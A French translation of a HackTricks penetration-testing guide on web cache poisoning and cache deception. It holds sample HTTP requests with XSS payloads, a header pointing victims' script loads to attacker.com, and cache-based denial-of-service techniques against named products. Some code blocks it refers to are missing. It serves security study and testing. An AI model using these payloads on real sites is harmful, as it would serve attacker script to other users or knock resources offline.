hacktricks/pentesting-web/cache-deception.md

Empoisonnement et tromperie de cache

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

La différence

Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?

• Dans l'empoisonnement de cache web, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
• Dans la tromperie de cache web, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu à partir du cache.

Empoisonnement de cache

L'objectif de l'empoisonnement de cache est de faire en sorte que les clients chargent des ressources inattendues partiellement ou contrôlées par l'attaquant.
La réponse empoisonnée ne sera servie qu'aux utilisateurs qui visitent la page affectée pendant que le cache est empoisonné. Par conséquent, l'impact peut aller de nul à massif selon que la page est populaire ou non.

Pour effectuer une attaque d'empoisonnement de cache, vous devez d'abord identifier les entrées non clés (paramètres qui n'ont pas besoin d'apparaître sur la demande mise en cache mais qui modifient la page renvoyée), voir comment abuser de ce paramètre et obtenir la réponse mise en cache.

Découverte : Vérifier les en-têtes HTTP

Généralement, lorsqu'une réponse a été stockée dans le cache, il y aura un en-tête indiquant cela, vous pouvez vérifier quels en-têtes vous devez surveiller dans ce post : En-têtes de cache HTTP.

Découverte : Mise en cache du code 400

Si vous pensez que la réponse est mise en cache, vous pouvez essayer d'envoyer des demandes avec un en-tête incorrect, qui devrait être répondu avec un code d'état 400. Ensuite, essayez d'accéder à la demande normalement et si la réponse est un code d'état 400, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
Un en-tête mal configuré pourrait être simplement \: comme en-tête.
Notez que parfois ces types de codes d'état ne sont pas mis en cache, donc ce test sera inutile.

Découverte : Identifier et évaluer les entrées non clés

Vous pouvez utiliser Param Miner pour forcer les paramètres et les en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l'en-tête X-Forwarded-For pour indiquer au client de charger le script à partir de là :

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Obtenir une réponse mise en cache

Une fois que vous avez identifié la page qui peut être exploitée, quel paramètre/en-tête utiliser et comment l'exploiter, vous devez obtenir la page mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre du temps, vous devrez peut-être essayer pendant plusieurs secondes.
L'en-tête X-Cache dans la réponse peut être très utile car il peut avoir la valeur miss lorsque la requête n'a pas été mise en cache et la valeur hit lorsqu'elle est mise en cache.
L'en-tête Cache-Control est également intéressant pour savoir si une ressource est mise en cache et quand la prochaine fois que la ressource sera mise en cache: Cache-Control: public, max-age=1800
Un autre en-tête intéressant est Vary. Cet en-tête est souvent utilisé pour indiquer des en-têtes supplémentaires qui sont traités comme partie de la clé de cache même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît l'User-Agent de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant cet User-Agent spécifique.
Un autre en-tête lié au cache est Age. Il définit les temps en secondes pendant lesquels l'objet a été dans le cache proxy.

Lors de la mise en cache d'une requête, soyez prudent avec les en-têtes que vous utilisez car certains d'entre eux pourraient être utilisés de manière inattendue comme clés et la victime devra utiliser le même en-tête. Testez toujours un empoisonnement de cache avec différents navigateurs pour vérifier si cela fonctionne.

Exemples d'exploitation

Exemple le plus simple

Un en-tête comme X-Forwarded-For est réfléchi dans la réponse non-sanitisée.
Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache pour que tout le monde qui accède à la page soit XSSé:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Remarque que cela va empoisonner une requête à /en?region=uk et non à /en

Utilisation de l'empoisonnement du cache web pour exploiter les vulnérabilités de gestion des cookies

Les cookies peuvent également être reflétés dans la réponse d'une page. Si vous pouvez l'abuser pour causer une XSS par exemple, vous pourriez être en mesure d'exploiter la XSS dans plusieurs clients qui chargent la réponse de cache malveillante.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Notez que si le cookie vulnérable est très utilisé par les utilisateurs, les requêtes régulières nettoieront le cache.

Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de l'empoisonnement du cache web

Parfois, vous devrez exploiter plusieurs entrées non clés pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver une redirection ouverte si vous définissez X-Forwarded-Host sur un domaine contrôlé par vous et X-Forwarded-Scheme sur http. Si le serveur redirige toutes les demandes HTTP vers HTTPS et utilise l'en-tête X-Forwarded-Scheme comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est dirigée par la redirection.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploitation avec un en-tête Vary limité

Si vous avez découvert que l'en-tête X-Host est utilisé comme nom de domaine pour charger une ressource JS mais que l'en-tête Vary dans la réponse indique User-Agent, alors vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de contaminer le cache en utilisant cet User-Agent :

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Exploitation de l'empoisonnement du cache HTTP en abusant du trafic HTTP Request Smuggling

Apprenez ici comment effectuer des attaques de Poisoning de Cache en abusant du trafic HTTP Request Smuggling.

Tests automatisés pour l'empoisonnement du cache Web

Le scanner de vulnérabilité de cache Web peut être utilisé pour tester automatiquement l'empoisonnement du cache Web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

Exemple d'utilisation : wcvs -u example.com

Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Exemples vulnérables

Apache Traffic Server (CVE-2021-27577)

ATS a transmis le fragment dans l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le chemin et la requête (en ignorant le fragment). Ainsi, la requête /#/../?r=javascript:alert(1) a été envoyée au backend en tant que /#/../?r=javascript:alert(1) et la clé de cache n'avait pas la charge utile à l'intérieur, seulement l'hôte, le chemin et la requête.

GitHub CP-DoS

L'envoi d'une mauvaise valeur dans l'en-tête de type de contenu a déclenché une réponse mise en cache 405. La clé de cache contenait le cookie, il était donc possible d'attaquer uniquement les utilisateurs non authentifiés.

GitLab + GCP CP-DoS

GitLab utilise des compartiments GCP pour stocker le contenu statique. Les compartiments GCP prennent en charge l'en-tête x-http-method-override. Il était donc possible d'envoyer l'en-tête x-http-method-override: HEAD et de contaminer le cache pour renvoyer un corps de réponse vide. Il pourrait également prendre en charge la méthode PURGE.

Middleware Rack (Ruby on Rails)

L'application Ruby on Rails est souvent déployée aux côtés du middleware Rack. Le code Rack ci-dessous prend la valeur de la valeur x-forwarded-scheme et l'utilise comme schéma de la requête.

L'envoi de l'en-tête x-forwarded-scheme: http entraînerait une redirection 301 vers le même emplacement, ce qui provoquerait un DoS sur cette ressource comme dans cet exemple :

L'application pourrait également prendre en charge l'en-tête X-forwarded-host et rediriger l'utilisateur vers cet hôte, ce qui permettrait de charger des fichiers JavaScript à partir du serveur de l'attaquant :

403 et compartiments de stockage

Auparavant, Cloudflare avait l'habitude de mettre en cache les réponses 403, donc l'envoi de mauvais en-têtes d'autorisation en essayant d'accéder à S3 ou Azure Storage Blobs exposés renverrait un 403 qui serait mis en cache. Cloudflare ne met plus en cache les réponses 403, mais cela pourrait fonctionner avec d'autres proxys.

Injection de paramètres clés

Très souvent, les caches sont configurés pour inclure uniquement des paramètres GET spécifiques dans la clé de cache.

Par exemple, Fastly utilisant Varnish a mis en cache le paramètre size dans la requête, mais si vous envoyez également le paramètre siz%65 avec une mauvaise valeur, la clé de cache est construite avec le paramètre de taille bien écrit, mais le backend utilise la valeur à l'intérieur du paramètre encodé dans l'URL.

L'encodage d'URL du deuxième paramètre size a entraîné son ignorance par le cache, mais utilisé par le backend. Donner au paramètre une valeur de 0 entraînerait une demande incorrecte 400 mise en cache.

Règles de l'agent utilisateur

En raison du grand nombre de demandes générées par des outils tels que FFUF ou Nuclei, certains développeurs ont décidé de bloquer les demandes correspondant à leurs agents utilisateurs. Ironiquement, ces ajustements peuvent introduire des opportunités d'empoisonnement de cache et de DoS indésirables.

J'ai constaté que cela fonctionnait sur plusieurs cibles, avec des agents utilisateurs provenant d'outils ou de scanners différents.

Champs d'en-tête illégaux

Le format du nom d'en-tête est défini dans RFC7230 comme suit :

En théorie, si un nom d'en-tête contient des caractères autres que ceux répertoriés dans tchar, il devrait être rejeté avec une demande incorrecte 400. En pratique, cependant, les serveurs ne respectent pas toujours le RFC. La façon la plus simple d'exploiter cette nuance était de cibler Akamai qui ne rejette pas les en-têtes invalides, mais les transmet et met en cache toute erreur 400 tant que l'en-tête de contrôle de cache n'est pas présent.

L'envoi d'un en-tête contenant un caractère illégal, \, provoquerait une erreur de demande incorrecte 400 mise en cache